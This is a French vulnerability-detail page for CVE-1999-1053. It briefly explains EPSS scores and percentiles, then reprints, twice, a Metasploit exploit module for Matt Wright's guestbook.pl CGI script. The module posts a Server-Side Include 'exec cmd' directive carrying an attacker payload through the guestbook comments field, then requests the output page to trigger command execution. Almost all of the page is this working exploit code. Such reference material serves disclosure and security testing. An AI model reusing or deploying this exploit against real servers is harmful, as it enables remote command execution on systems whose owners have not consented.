CVE-1999-1053 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

## # $Id: guestbook_ssi_exec.rb 9671 2010-07-03 06:21:31Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Matt Wright guestbook.pl Arbitrary Command Execution', 'Description' => %q{ The Matt Wright guestbook.pl <= v2.3.1 CGI script contains a flaw that may allow arbitrary command execution. The vulnerability requires that HTML posting is enabled in the guestbook.pl script, and that the web server must have the Server-Side Include (SSI) script handler enabled for the '.html' file type. By combining the script weakness with non-default server configuration, it is possible to exploit this vulnerability successfully. }, 'Author' => [ 'patrick' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9671 $', 'References' => [ [ 'CVE', '1999-1053' ], [ 'OSVDB', '84' ], [ 'BID', '776' ], ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Space' => 1024, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl ruby bash telnet', } }, 'Platform' => [ 'unix', 'win', 'linux' ], 'Arch' => ARCH_CMD, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Nov 05 1999', 'DefaultTarget' => 0)) register_options( [ OptString.new('URI', [true, "guestbook.pl script path", "/cgi-bin/guestbook.pl"]), OptString.new('URIOUT', [true, "guestbook.html output", "/guestbook/guestbook.html"]), ], self.class) end def exploit realname = rand_text_alphanumeric(20) email = rand_text_alphanumeric(20) city = rand_text_alphanumeric(20) state = rand_text_alphanumeric(20) country = rand_text_alphanumeric(20) sploit = Rex::Text.uri_encode("<!--#exec cmd=\"" + payload.encoded.gsub('"','\"') + "\"", 'hex-normal') req1 = send_request_cgi({ 'uri' => datastore['URI'], 'method' => 'POST', 'data' => "realname=#{realname}&username=#{email}&city=#{city}&state=#{state}&country=#{country}&comments=#{sploit}", }, 25) req2 = send_request_raw({ 'uri' => datastore['URIOUT'], }, 25) end end

## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Matt Wright guestbook.pl Arbitrary Command Execution', 'Description' => %q{ The Matt Wright guestbook.pl <= v2.3.1 CGI script contains a flaw that may allow arbitrary command execution. The vulnerability requires that HTML posting is enabled in the guestbook.pl script, and that the web server must have the Server-Side Include (SSI) script handler enabled for the '.html' file type. By combining the script weakness with non-default server configuration, it is possible to exploit this vulnerability successfully. }, 'Author' => [ 'patrick' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'CVE', '1999-1053' ], [ 'OSVDB', '84' ], [ 'BID', '776' ], ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Space' => 1024, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl ruby bash telnet', } }, 'Platform' => [ 'unix', 'win', 'linux' ], 'Arch' => ARCH_CMD, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Nov 05 1999', 'DefaultTarget' => 0)) register_options( [ OptString.new('URI', [true, "guestbook.pl script path", "/cgi-bin/guestbook.pl"]), OptString.new('URIOUT', [true, "guestbook.html output", "/guestbook/guestbook.html"]), ], self.class) end def exploit realname = rand_text_alphanumeric(20) email = rand_text_alphanumeric(20) city = rand_text_alphanumeric(20) state = rand_text_alphanumeric(20) country = rand_text_alphanumeric(20) sploit = Rex::Text.uri_encode("<!--#exec cmd=\"" + payload.encoded.gsub('"','\"') + "\"", 'hex-normal') req1 = send_request_cgi({ 'uri' => datastore['URI'], 'method' => 'POST', 'data' => "realname=#{realname}&username=#{email}&city=#{city}&state=#{state}&country=#{country}&comments=#{sploit}", }, 25) req2 = send_request_raw({ 'uri' => datastore['URIOUT'], }, 25) end end